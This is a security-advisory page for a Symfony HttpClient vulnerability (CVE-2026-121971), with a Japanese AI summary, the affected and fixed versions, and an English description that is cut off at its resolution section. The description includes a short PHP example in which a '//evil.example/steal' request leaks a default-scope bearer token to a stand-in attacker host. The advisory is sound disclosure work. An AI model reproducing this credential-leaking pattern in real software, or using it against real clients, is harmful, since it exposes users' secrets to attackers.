Skip to content
High 8.2

Symfonyの脆弱性で認証情報が別のサーバーに送られるおそれ

CVE-2026-121971 First seen on SecPulse

Summary

Symfonyの HttpClient に含まれる ScopingHttpClient で、既定のスコープの認証情報が別のオリジンに送られるおそれがある脆弱性が見つかりました。影響を受けるのは5.x 5.4.56より前、6.x 6.4.50より前、7.x 7.4.23より前、8.x 8.1.11より前の版です。修正版の 5.4.56、6.4.50、7.4.23、8.1.11 に更新してください。

AI summary

Produced by SecPulse using an external AI model; it may contain mistakes. Check the original description and references below before acting on it.

Symfonyの HttpClient に含まれる ScopingHttpClient で、既定のスコープの認証情報が別のオリジンに送られるおそれがある脆弱性が見つかりました。影響を受けるのは5.x 5.4.56より前、6.x 6.4.50より前、7.x 7.4.23より前、8.x 8.1.11より前の版です。修正版の 5.4.56、6.4.50、7.4.23、8.1.11 に更新してください。

Affected packages

PackageAffected → Fixed
sensiolabssymfony
< 5.4.56→ 5.4.56
≥ 6.0.0, < 6.4.50→ 6.4.50
≥ 7.0.0, < 7.4.23→ 7.4.23
≥ 8.0.0, < 8.1.11→ 8.1.11
composersymfony/http-client
< 8.1.11→ 8.1.11
composersymfony/symfony
< 8.1.11→ 8.1.11
Packagistsymfony/http-client
≥ 8.0.0, < 8.1.11→ 8.1.11
Packagistsymfony/symfony
≥ 8.0.0, < 8.1.11→ 8.1.11

Fix status by distribution

Records published by each distribution for this CVE. Fixed versions differ by release; check each link.

Original description The description as published by the source.

Description

ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.

$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
    'auth_bearer' => 'secret',
]);

$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"

This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.

Resolution

Af…

Source: CVE.org (CVE Program・cvelistV5) NVD GitHub Advisory

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details